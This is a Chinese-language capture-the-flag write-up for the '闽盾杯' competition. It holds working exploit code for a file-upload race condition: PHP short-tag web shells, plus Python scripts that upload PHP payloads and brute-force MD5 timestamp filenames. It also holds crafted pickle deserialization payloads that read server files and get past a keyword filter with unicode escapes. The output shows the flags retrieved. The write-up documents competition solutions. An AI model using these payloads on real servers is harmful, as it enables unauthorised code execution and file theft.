闽盾杯
安全的文件上传
php短标签
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。
<?=@eval(system('ls'));?>
题目对文件后缀白名单检测+时间戳md5+后缀拼接无法直接绕过,由于修改文件名,应该存在条件竞争漏洞
import requests
import hashlib
import time
import threading
from time import sleep
# 配置
url_base = "http://119.233.150.205:57965"
url_upload = url_base + "/upload.php"
url_file = url_base + "/uploads/"
def upload_and_get_date():
"""上传一个正常文件,返回 date 和当前时间戳"""
files = {'file': ('test.png', '并不好')}
a=int(time.time())
r = requests.post(url_upload, files=files)
if r.status_code == 200:
try:
j = r.json()
print("[+] Full JSON:", j)
return j.get("date"), a
except Exception as e:
print("[-] JSON parse error:", e)
return None, None
def upload_blacklist_file(filename="shell.php"):
files = {'file': (filename, '<?= file_get_contents("/flag.txt"); ?>')}
try:
requests.post(url_upload, files=files, timeout=0.1)
except requests.exceptions.ReadTimeout:
pass
def calc_md5(date, offset):
"""计算 md5,尝试不同组合"""
raw2 = str(int(date) + offset)
return hashlib.md5(raw2.encode()).hexdigest()
def check_file(md5hash,t1):
url = url_file + md5hash + ".php"
r = requests.get(url)
a=time.time()
b=a-t1
print(b)
if r.status_code == 200:
print("[+] Found file:", url)
print(r.text)
return True
else:
print("[-] Not found:", url)
return False
if __name__ == "__main__":
date, t1 = upload_and_get_date()
if not date:
exit("[!] No date found")
threading.Thread(target=upload_blacklist_file, args=("shell.php",)).start()
t2 = time.time()
print(t2-t1)
t2=int(t2)
# 时间差
delay = t2 - t1
print(f"[*] Time delay = {delay}s")
# 爆破 offset 范围(±3 秒)
for offset in range(delay, delay+1):
h2 = calc_md5(date, offset)
print(f"[*] Trying offset={offset}, md5(int(date)+offset)={h2}")
if check_file(h2,t1):
break
[+] Full JSON: {'success': True, 'message': '�ļ��ϴ��ɹ�', 'date': '20250907090046', 'file_path': 'uploads/d02f03e7f22d2f296b967987dcd7cdf9.png'}
0.8296563625335693
[*] Time delay = 0s
[*] Trying offset=0, md5(int(date)+offset)=d02f03e7f22d2f296b967987dcd7cdf9
0.9817290306091309
[+] Found file: http://119.233.150.205:57965/uploads/d02f03e7f22d2f296b967987dcd7cdf9.php
flag{58cb100915}
import requests
import time
import threading
import hashlib
from datetime import datetime, timedelta
# 上传接口及请求头
UPLOAD_URL = "http://119.233.150.205:57965/upload.php"
UPLOAD_HEADERS = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "multipart/form-data; boundary=----abcdefghijklmnop"
}
# 上传 payload
PAYLOAD = "<?= print_r(file('/flag.txt'));"
def upload(filename: str):
"""
上传文件到指定 URL
"""
data = (
f"------abcdefghijklmnop\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n"
f"Content-Type: image/png\r\n\r\n"
f"{PAYLOAD}\r\n"
f"------abcdefghijklmnop--\r\n"
)
return requests.post(UPLOAD_URL, headers=UPLOAD_HEADERS, data=data)
def check_file(filename: str):
"""
检查上传的文件是否可以访问
"""
url = f"http://119.233.150.205:57965/uploads/{filename}"
try:
res = requests.get(url)
if res.status_code == 200:
print(res.text)
return True
except requests.RequestException:
pass
return False
def generate_md5_filenames():
"""
生成时间戳 ±2 秒的 MD5 文件名列表
"""
filenames = []
now = datetime.utcnow()
for offset in [0, -1, 1, -2, 2]:
ts = (now + timedelta(seconds=offset)).strftime("%Y%m%d%H%M%S")
filenames.append(hashlib.md5(ts.encode()).hexdigest() + ".php")
return filenames
"""假设目标服务器在保存上传时用了 md5(时间戳字符串) 作为文件名(例如 md5("20250907123456")),脚本尝试当前 UTC 时间及其 ±1、±2 秒的时间戳,生成对应的 MD5 值作为候选(带 .php 后缀)。"""
def monitor_files(filenames, stop_event):
"""
并发监控文件是否可访问
"""
for _ in range(50):
if stop_event.is_set():
return
for f in filenames:
if stop_event.is_set():
return
if check_file(f):
stop_event.set()
return
time.sleep(0.01)
"""每个线程会最多循环 50 次,每次检查 filenames 中的每个候选名。
一旦 check_file 返回 True(可访问),线程会把 stop_event 置位,通知其他线程停止。
time.sleep(0.01) 是短暂的等待,避免把 CPU 打满。"""
def main():
# 上传一个固定文件
upload("1.jpg")
# 生成 MD5 时间戳文件名
filenames = generate_md5_filenames()
stop_event = threading.Event()
""":创建一个线程间的信号对象(事件)。
这个 Event 可以被线程轮询 (stop_event.is_set()) 来判断是否该停止工作。
当主线程调用 stop_event.set() 时,所有监控线程都会立刻感知到,然后退出。"""
# 并发监控文件
threads = [threading.Thread(target=monitor_files, args=(filenames, stop_event)) for _ in range(5)]
"""创建 5 个线程对象,每个线程执行同一个函数 monitor_files(),传入两个参数:
filenames:一组要监控的文件名(候选 md5.php 文件)。
stop_event:上面那个控制信号,用来通知线程停止。"""
for th in threads:
th.start()
time.sleep(0.05)
# 上传带特殊扩展名的文件
upload("1.pHp")
stop_event.set() # 停止监控
for th in threads:
th.join()
if __name__ == "__main__":
main()
Array
(
[0] => flag{58cb100915}
)
1
Array
(
[0] => flag{58cb100915}
)
1
Array
(
[0] => flag{58cb100915}
)
1
Array
(
[0] => flag{58cb100915}
)
1
Array
(
[0] => flag{58cb100915}
)
1
forge
先是全角绕过,注册一个admin,登陆。
import pickle
import pickletools
# # 写入PKL文件
# with open("data.pkl", "wb") as f:
# pickle.dump(data, f)
# 从PKL文件读取
with open("D:\\Downloads\\example.pkl", "rb") as f:
# pickle_a=pickletools.optimize(f)
# print(pickle_a)
pickletools.dis(f)
print(f)
# loaded_data = pickle.load(f)
# print(loaded_data)
通过 example.pkl 可知 CHIKAWA 类的 data 属性会被再次反序列化,并输出结果
通过构造 getattr(pathlib.Path, 'read_text')(pathlib.PosixPath('app.py')) 读取 app.py
但是 flag 被过滤了,使用 unicode 编码绕过
import pickle
class CHIKAWA:
def __init__(self):
self.model_name = None
self.data = None
self.parameters = None
def __str__(self):
return str(pickle.loads(self.data))
obj = CHIKAWA()
obj.model_name = "mzzz"
obj.data = b"""cpathlib
Path
p0
cbuiltins
getattr
(g0
S'read_text'
tRp1
cpathlib
PosixPath
(S'app.py'
tRp2
g1
(g2
tR.
"""
obj.data = b"""cpathlib
Path
p0
cbuiltins
getattr
(g0
S'read_text'
tRp1
cpathlib
PosixPath
(V\u002f\u0066\u006c\u0061\u0067
tRp2
g1
(g2
tR.
"""
blob = pickle.dumps(obj, protocol=4)
print(pickle.loads(blob))
with open('mzzz.pkl', 'wb') as f:
f.write(blob)
上传 mzzz.pkl ,执行
上面这个会直接把 app.py 的内容变成字符串存进 data,而不是在服务器执行时读取
import pickle
import pickletools
# # 写入PKL文件
# with open("data.pkl", "wb") as f:
# pickle.dump(data, f)
# 从PKL文件读取
with open("D:\\Downloads\\example.pkl", "rb") as f:
# pickle_a=pickletools.optimize(f)
# print(pickle_a)
pickletools.dis(f)
print(f)
# loaded_data = pickle.load(f)
# print(loaded_data)
0: \x80 PROTO 4
2: \x95 FRAME 112
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'CHIKAWA'
31: \x94 MEMOIZE (as 1)
32: \x93 STACK_GLOBAL
33: \x94 MEMOIZE (as 2)
34: ) EMPTY_TUPLE
35: \x81 NEWOBJ
36: \x94 MEMOIZE (as 3)
37: } EMPTY_DICT
38: \x94 MEMOIZE (as 4)
39: ( MARK
40: \x8c SHORT_BINUNICODE 'model_name'
52: \x94 MEMOIZE (as 5)
53: \x8c SHORT_BINUNICODE 'Example'
62: \x94 MEMOIZE (as 6)
63: \x8c SHORT_BINUNICODE 'data'
69: \x94 MEMOIZE (as 7)
70: C SHORT_BINBYTES b"cbuiltins\nprint\n(S'chikawa'\ntR."
103: \x94 MEMOIZE (as 8)
104: \x8c SHORT_BINUNICODE 'parameters'
116: \x94 MEMOIZE (as 9)
117: \x8c SHORT_BINUNICODE ''
119: \x94 MEMOIZE (as 10)
120: u SETITEMS (MARK at 39)
121: b BUILD
122: . STOP
highest protocol among opcodes = 4
<_io.BufferedReader name='D:\\Downloads\\example.pkl'>
import pickle
# 定义类(名字和服务器的一致)
class CHIKAWA:
def __init__(self):
self.model_name = "Example"
self.data = None
self.parameters = ""
# 构造 payload (你可以改成恶意的)
inner_payload = b"cbuiltins\nprint\n(S'chikawa'\ntR."
# 把 payload 塞进 data
obj = CHIKAWA()
obj.data = inner_payload
# 序列化
blob = pickle.dumps(obj, protocol=4)
# 保存成 pkl 文件
with open("test.pkl", "wb") as f:
f.write(blob)
不知道对不对
import pickle
# 延迟执行 payload
class ReadApp:
def __reduce__(self):
import pathlib
# 这里不执行,只告诉 pickle 反序列化时执行
return (getattr(pathlib.Path, 'read_text'), (pathlib.Path('app.py'),))
class CHIKAWA:
def __init__(self):
self.model_name = None
self.data = None
self.parameters = ""
# 把 ReadApp 的对象序列化成 inner_payload
inner_payload = pickle.dumps(ReadApp())
# 放进 CHIKAWA 对象
obj = CHIKAWA()
obj.data = inner_payload
# 序列化 CHIKAWA 对象到文件
with open("exploit.pkl", "wb") as f:
f.write(pickle.dumps(obj, protocol=4))